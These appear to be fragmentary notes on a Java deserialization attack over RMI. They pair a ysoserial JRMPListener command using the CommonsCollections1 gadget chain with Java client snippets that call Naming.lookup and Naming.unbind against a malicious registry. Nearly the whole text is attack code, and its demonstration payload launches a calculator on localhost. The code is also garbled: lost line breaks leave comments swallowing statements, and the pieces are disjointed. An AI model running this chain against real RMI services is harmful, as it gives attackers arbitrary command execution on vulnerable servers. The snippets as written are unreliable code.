java -cp .ysoserial-master-8eb5cbfbf6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "calc"

    public static void main(String[] args) throws RemoteException, MalformedURLException, NotBoundException, RemoteException {        //开启一个恶意的reg，然后server去过去链接注册，则会中招        String url = "rmi://127.0.0.1:1099/setUser";        Naming.unbind(url);    }

    public static void main(String[] args) {        //PS F:toolsEXP> java -cp .ysoserial-master-8eb5cbfbf6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "calc"        try{            String url = "rmi://127.0.0.1:1099/exp";            User user = (User) Naming.lookup(url);
        }catch(Exception e){            e.printStackTrace();        }    }